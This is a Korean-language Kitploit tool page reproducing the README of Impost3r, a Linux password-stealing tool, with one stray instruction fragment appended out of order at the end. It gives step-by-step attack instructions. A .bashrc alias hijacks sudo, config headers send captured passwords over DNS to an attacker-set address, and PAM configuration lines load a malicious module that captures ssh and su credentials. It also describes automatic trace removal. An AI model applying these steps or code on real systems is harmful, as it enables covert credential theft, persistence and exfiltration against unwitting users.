Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Impost3r — 👻Impost3r -- 리눅스 비밀번호 도용 도구 | Kitploit
도구/GitHubGitHub/ph4ntonn/impost3r
Password AttacksPost-ExploitationPenetration TestingRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- 리눅스 비밀번호 도용 도구

저장소 보기
6641221년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r는 C 언어로 작성된 도구로, Linux에서 다양한 비밀번호(ssh, su, sudo)를 탈취하는 데 사용됩니다.

사용자는 이 프로그램을 사용하여 워터링 홀을 만들고, 합법적인 사용자의 비밀번호를 탈취할 수 있습니다.

이 도구는 보안 연구 및 교육 목적으로만 사용되며, 사용자는 이 도구를 사용하여 발생하는 모든 법적 및 관련 책임을 부담합니다! 저자는 어떠한 법적 및 관련 책임도 지지 않습니다!

특징

  • 자동으로 행동 흔적 삭제
  • DNS 프로토콜을 통해 결과 전송
  • 사용자 무감각

의존성

  • gcc

사용 방법

Impost3r는 sudo, su, ssh 서비스의 비밀번호를 탈취하는 데 사용할 수 있습니다. 이 세 가지 서비스는 크게 두 가지 유형으로 나눌 수 있습니다: sudo와 ssh/su입니다. 아래에서 각각의 경우에 대해 설명합니다.

sudo 비밀번호 탈취

일반 사용자 권한만 있으면 되며, 반드시 root일 필요는 없습니다. 하지만 해당 사용자의 비밀번호만 탈취할 수 있으며, 다른 사용자의 비밀번호는 탈취할 수 없습니다.

  • 먼저 공격자가 서버를 장악했다고 가정합니다. 권한은 일반 사용자 권한입니다.

  • 사용자의 홈 디렉토리에 .bash_profile 파일이 있는지 확인합니다. .bash_profile이 존재하는 경우: .bash_profile 파일이 .bashrc를 능동적으로 로드하는지 확인합니다. 능동적으로 로드한다면 이 단계와 다음 두 단계 검사를 건너뛰고 이후 작업을 계속합니다. 능동적으로 로드하지 않았다면 다음 두 단계 검사를 건너뛰고, 아래에서 .bashrc에 대한 모든 작업을 .bash_profile에 대한 작업으로 대체합니다!!! 만약 .bash_profile이 존재하지 않는 경우: 다음 단계로 이동합니다.

  • 사용자의 홈 디렉토리에 .bash_login 파일이 있는지 확인합니다. .bash_login이 존재하는 경우: .bash_login 파일이 .bashrc를 능동적으로 로드하는지 확인합니다. 능동적으로 로드한다면 이 단계와 다음 단계 검사를 건너뛰고 이후 작업을 계속합니다. 능동적으로 로드하지 않았다면 다음 단계 검사를 건너뛰고, 아래에서 .bashrc에 대한 모든 작업을 .bash_login에 대한 작업으로 대체합니다!!! 만약 이 존재하지 않는 경우: 다음 단계로 이동합니다.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • 사용자의 .bashrc를 복사합니다: cp ~/.bashrc /tmp/ 그리고 이 복사본을 공격자가 지정한 경로에 놓습니다(이 예제에서는 /tmp/ 디렉토리에 배치하며, 공격자가 수정할 수 있습니다).

  • 사용자 홈 디렉토리의 .bashrc(~/.bashrc)를 수정하여 마지막 줄에 다음 문장을 추가합니다(여기서 "/tmp/.impost3r"는 아래의 FILENAME과 일치해야 합니다):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • 추가가 완료되면 파일을 저장하고 source ~/.bashrc를 실행합니다.

  • 그런 다음 공격자는 Impost3r 소스 코드 /sudo/main.h를 수정해야 합니다:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Impost3r가 대상 서버에 위치할 경로 설정
# define BACKUP_ORI_FILENAME ".bashrc" \\공격자가 백업한 원본 사용자 구성 파일이 .bashrc인지 .bash_profile, .profile, .bash_login인지 지정
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\공격자가 백업한 원본 사용자 구성 파일이 대상 서버에 위치한 경로 설정
# define SAVE_OR_SEND 0 \\탈취 성공 후 결과를 대상 머신에 저장할지 공격자 제어 머신으로 전송할지 설정 (전송=0, 저장=1, 기본값 전송)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\참고: Impost3r가 반환하는 메시지를 수신할 도메인을 구매하지 않으려면, 그리고 Impost3r가 설치된 대상 서버가 당신이 제어하는 DNS 서버의 53번 포트로의 직접 UDP 연결을 금지하지 않는 경우, 여기서 도메인은 기본값을 사용하십시오.
\\하지만 Impost3r가 설치된 대상 서버가 DNS 요청의 아웃바운드를 엄격히 제한하는 경우, YOUR_DOMAIN 값을 구매한 도메인(예: ".example.com")으로 변경하고, 이 도메인의 NS 레코드를 당신이 제어하는 DNS 서버 주소로 구성한 후, 해당 DNS 서버에서 Fdns를 실행하고, 아래의 REMOTE_ADDRESS 값을 Impost3r가 설치된 대상 서버의 기본 DNS 주소로 변경하고, REMOTE_PORT 값을 대상 서버의 기본 DNS 주소가 수신 대기하는 DNS 서비스 포트(대부분의 경우 53번 포트)로 변경하십시오.
# define MAX_RESEND 30 \\비밀번호를 탈취한 후 Impost3r가 공격자 서버로 사용자 비밀번호를 전송하는 최대 재시도 횟수 설정
# define RESEND_INTERVAL 5 \\각 비밀번호 전송 간격 설정
# define REMOTE_ADDRESS "192.168.0.12" \\비밀번호 반환을 위한 원격 주소 설정
# define REMOTE_PORT 53 \\비밀번호 반환을 위한 원격 포트 설정

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\결과 파일 저장 위치 설정 (SAVE_OR_SEND가 1인 경우)
  • 수정이 완료되면 저장하고 현재 디렉토리에서 make를 실행합니다.

  • 현재 디렉토리에서 컴파일된 .impost3r 파일을 얻습니다.

  • .impost3r 파일을 대상 서버의 /tmp/ 폴더에 업로드합니다(예시일 뿐이며, 직접 수정 가능하며 소스 코드에 정의된 값과 일치해야 합니다).

  • 공격자는 자신의 서버에서 DNS 서버 프로그램을 시작하고, 합법적인 사용자가 sudo를 사용한 후 비밀번호를 획득하기를 기다립니다.

탈취 효과

팁

  • sudo 비밀번호 탈취의 경우, Impost3r는 성공 후 자동으로 흔적을 삭제하므로 공격자가 수동으로 정리할 필요가 없습니다.

  • Impost3r는 사용자가 입력한 비밀번호가 올바른 비밀번호인지 자동으로 판별하며, 올바른 비밀번호를 입력할 때까지 프로세스를 종료하지 않고 흔적을 삭제합니다.

  • Impost3r를 사용하기 전에 sudo -v 명령어로 현재 사용자가 sudoer 그룹에 속해 있는지 확인하십시오. 속해 있지 않다면 Impost3r를 사용하지 마십시오.

ssh/su 비밀번호 탈취

ssh/su 비밀번호 탈취는 위의 sudo 비밀번호 탈취 방법과 다르며, root 권한이 필요합니다. 모든 사용자의 비밀번호를 탈취할 수 있습니다.

아래는 Ubuntu를 예로 들며, CentOS도 유사합니다. 사용되는 파일과 수정 방법은 약간 다를 수 있습니다.

  • 먼저 공격자가 서버를 장악했다고 가정합니다.

  • 권한 상승 작업을 통해 root 권한을 얻습니다(또는 귀여운 관리자가 root 권한으로 서비스를 시작한 경우).

  • 먼저 Impost3r의 /ssh_su/main.h 소스 코드 파일을 편집합니다.

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\탈취 모드 설정, 0은 ssh 비밀번호만 탈취, 1은 ssh 및 su 비밀번호 탈취, 기본값은 0 (차이점은 아래에서 설명)
# define SAVE_OR_SEND 0 \\탈취 성공 후 결과를 대상 머신에 저장할지 공격자 제어 머신으로 전송할지 설정 (전송=0, 저장=1, 기본값 전송)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\참고: Impost3r가 반환하는 메시지를 수신할 도메인을 구매하지 않으려면, 그리고 Impost3r가 설치된 대상 서버가 당신이 제어하는 DNS 서버의 53번 포트로의 직접 UDP 연결을 금지하지 않는 경우, 여기서 도메인은 기본값을 사용하십시오.
\\하지만 Impost3r가 설치된 대상 서버가 DNS 요청의 아웃바운드를 엄격히 제한하는 경우, YOUR_DOMAIN 값을 구매한 도메인(예: ".example.com")으로 변경하고, 이 도메인의 NS 레코드를 당신이 제어하는 DNS 서버 주소로 구성한 후, 해당 DNS 서버에서 Fdns를 실행하고, 아래의 REMOTE_ADDRESS 값을 Impost3r가 설치된 대상 서버의 기본 DNS 주소로 변경하고, REMOTE_PORT 값을 대상 서버의 기본 DNS 주소가 수신 대기하는 DNS 서비스 포트(대부분의 경우 53번 포트)로 변경하십시오.
# define MAX_RESEND 30 \\비밀번호를 탈취한 후 Impost3r가 공격자 서버로 사용자 비밀번호를 전송하는 최대 재시도 횟수 설정 (SSH_OR_BOTH가 0인 경우에만 유효)
# define RESEND_INTERVAL 5 \\각 비밀번호 전송 간격 설정 (SSH_OR_BOTH가 0인 경우에만 유효)
# define REMOTE_ADDRESS "192.168.0.12" \\비밀번호 반환을 위한 원격 주소 설정
# define REMOTE_PORT 53 \\비밀번호 반환을 위한 원격 포트 설정

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\결과 파일 저장 위치 설정 (SAVE_OR_SEND가 1인 경우)
  • 수정이 완료되면 저장하고 현재 디렉토리에서 make를 실행합니다.

  • 컴파일된 파일 impost3r.so를 얻습니다.

  • 컴파일된 impost3r.so를 대상 머신의 /lib/x86_64-linux-gnu/security에 업로드합니다(머신마다 폴더 이름이 다를 수 있으므로 상황에 따라 배치하십시오).

  • /etc/pam.d 디렉토리로 이동합니다. 이때 두 가지 경우가 있습니다. 선택한 모드가 ssh 비밀번호만 탈취하는 것이라면 vi sshd를 실행하고, 파일 끝에 다음 문장을 추가합니다(여기서 주의할 점: Ubuntu 이외의 Linux 기반 시스템에서는 이 파일이 Ubuntu와 상당히 다를 수 있으므로 직접 규칙을 이해한 후 적절한 위치에 추가하는 것이 좋습니다).

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • 저장하고 종료한 후 sshd 서비스를 재시작합니다: service sshd restart

  • ssh와 su 비밀번호를 함께 탈취하도록 선택한 경우 vi common-auth를 실행하고, 동일한 문장을 추가한 후 저장하고 종료한 후 sshd 서비스를 재시작합니다.

  • 공격자는 자신의 서버에서 DNS 서버 프로그램을 시작하고, 합법적인 사용자가 ssh로 대상 머신에 로그인하거나 su로 사용자를 전환한 후 비밀번호를 획득하기를 기다립니다.

탈취 효과

팁

  • ssh/su 비밀번호 탈취의 경우, Impost3r는 권한 문제로 인해 흔적을 삭제할 수 없으므로 공격자가 직접 정리해야 합니다.

  • ssh 비밀번호만 탈취하도록 설정하면 공격자가 100% 탈취 결과를 받을 수 있다고 거의 보장할 수 있습니다. 하지만 둘 다 탈취하도록 설정하면 공격자가 100% 결과를 받을 것이라고 보장할 수 없습니다(DNS 전송으로 설정한 경우에만 해당하며, 로컬 저장으로 설정한 경우는 영향을 받지 않습니다).

  • su 비밀번호 탈취는 권장하지 않습니다. 또한 사용자의 ssh 비밀번호와 su 비밀번호가 동일하므로, 가능하면 su 비밀번호를 탈취하지 않는 것이 좋습니다. ssh 비밀번호만으로 충분합니다.

  • 기본적으로 빈 비밀번호는 탈취하지 않습니다. 사용자에게 빈 비밀번호가 있는지 직접 확인하십시오(sshd 구성 파일에 PermitEmptyPasswords yes가 있는지 확인하십시오. 만약 빈 비밀번호라면 탈취할 가치가 없습니다).

주의 사항

  • DNS 서버 프로그램은 Fdns를 사용하며, 일부 매개변수를 수정했습니다. 수정된 소스 코드는 Fdns 폴더에서 찾을 수 있습니다. 명령어 gcc -o dns main.c util.c를 사용하여 직접 컴파일하십시오(먼저 main.c에서 수신 포트를 수정해야 합니다).
  • Fdns를 컴파일하기 전에 util.h의 YOUR_DOMAIN 값을 확인하십시오. 이 값이 Impost3r 프로그램이 컴파일될 때 사용된 YOUR_DOMAIN 값과 일치하는지 확인하십시오. 그렇지 않으면 탈취가 실패할 수 있습니다.
  • 이 프로그램은 여가 시간에 개발 및 학습 목적으로 만들어졌으며, 기능에 버그가 있을 수 있습니다. 양해 부탁드리며, 문제가 있으면 언제든지 피드백을 환영합니다.

감사의 말

  • Fdns
  • libbaseencode
도구 다운로드
.bash_login
  • 사용자의 홈 디렉토리에 .profile 파일이 있는지 확인합니다. .profile 파일이 존재하는 경우: .profile 파일이 .bashrc를 능동적으로 로드하는지 확인합니다(기본적으로 로드됨). 능동적으로 로드한다면 이 단계를 건너뛰고 이후 작업을 계속합니다. 능동적으로 로드하지 않았다면 아래에서 .bashrc에 대한 모든 작업을 .profile에 대한 작업으로 대체합니다!!! 만약 .profile도 존재하지 않는 경우, 원칙적으로 Impost3r를 사용할 수 없습니다. 물론 상황에 따라 직접 .bash_profile 또는 .profile 파일을 생성하고, 다음과 유사한 로드 코드를 작성하여 .bashrc를 로드하도록 할 수도 있습니다.